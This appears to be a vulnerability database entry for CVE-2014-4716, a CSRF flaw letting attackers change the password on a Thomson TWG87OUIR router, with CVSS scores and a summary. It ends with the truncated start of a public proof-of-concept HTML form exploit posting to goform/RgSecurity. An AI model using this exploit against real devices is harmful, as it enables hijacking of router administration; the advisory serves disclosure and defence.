6.8
CVSSv2

CVE-2014-4716

Published: 03/07/2014 Updated: 07/07/2014
CVSS v2 Base Score: 6.8 | Impact Score: 6.4 | Exploitability Score: 8.6
VMScore: 685
Vector: AV:N/AC:M/Au:N/C:P/I:P/A:P

Vulnerability Summary

Cross-site request forgery (CSRF) vulnerability in Thomson TWG87OUIR allows remote malicious users to hijack the authentication of unspecified victims for requests that change passwords via the Password and PasswordReEnter parameters to goform/RgSecurity.

Vulnerability Trend

Vulnerable Product Search on Vulmon Subscribe to Product

thomson twg87ouir -

Exploits

#Author: nopesled #Date: 24/06/14 #Vulnerability: POST Password Reset CSRF #Tested on: Thomson TWG87OUIR (Hardware Version) <html> <head> <title>Thomson TWG87OUIR CSRF</title> </head> <body> <form name="exploit" method="post" action="19216801/goform/RgSecurity"> <input type="hidden" na ...